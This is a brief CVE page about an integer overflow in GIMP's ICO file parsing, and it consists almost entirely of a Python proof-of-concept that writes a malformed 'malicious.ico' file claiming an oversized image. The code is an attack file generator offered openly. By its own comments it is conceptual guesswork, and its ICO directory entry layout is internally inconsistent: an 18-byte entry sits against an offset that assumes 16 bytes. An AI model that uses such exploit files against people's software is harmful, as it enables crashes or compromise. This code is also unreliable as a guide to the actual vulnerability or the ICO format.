CVE-2026-2272: GIMP ICO文件整数溢出漏洞

import struct # PoC to generate a malformed ICO file that may trigger the integer overflow # This is a conceptual example based on the vulnerability description. def create_malformed_ico(filename): # ICO Header: 2 bytes Reserved (0), 2 bytes Type (1 for icon), 2 bytes Count (1) ico_header = struct.pack('<HHH', 0, 1, 1) # Directory Entry: 1 byte Width, 1 byte Height, 2 byte Colors, 2 byte Reserved # 2 byte Planes (1), 2 byte BitCount (32 for RGBA), 4 byte SizeInBytes # 4 byte ImageOffset (22 bytes = 6 + 16) # Setting Width/Height to 0 or 256 (common for large icons) but here we might # try to manipulate the size calculation logic if it were specific. # The vulnerability mentions oversized headers bypassing checks. width = 0 # Represents 256 in some contexts, or triggers specific parsing height = 0 colors = 0 planes = 1 bit_count = 32 # Let's set a large size that might cause the multiplication overflow in 32-bit # e.g., width * height * 4 bytes > 2^32 # Assuming the parser treats 0 as 256, 256*256*4 = 262144 (safe). # We need a value that overflows. Let's say the logic uses (w+1) or similar. # Without the exact source code logic of the vulnerable version, we provide a # structure that attempts to pass a large size claim. size_in_bytes = 0xFFFFFFFF # Claim huge size image_offset = 22 directory_entry = struct.pack('<BBHHHII', width, height, colors, 0, planes, bit_count, size_in_bytes, image_offset) with open(filename, 'wb') as f: f.write(ico_header + directory_entry) # Write minimal dummy data to satisfy the file structure f.write(b'\x00' * 100) create_malformed_ico('malicious.ico')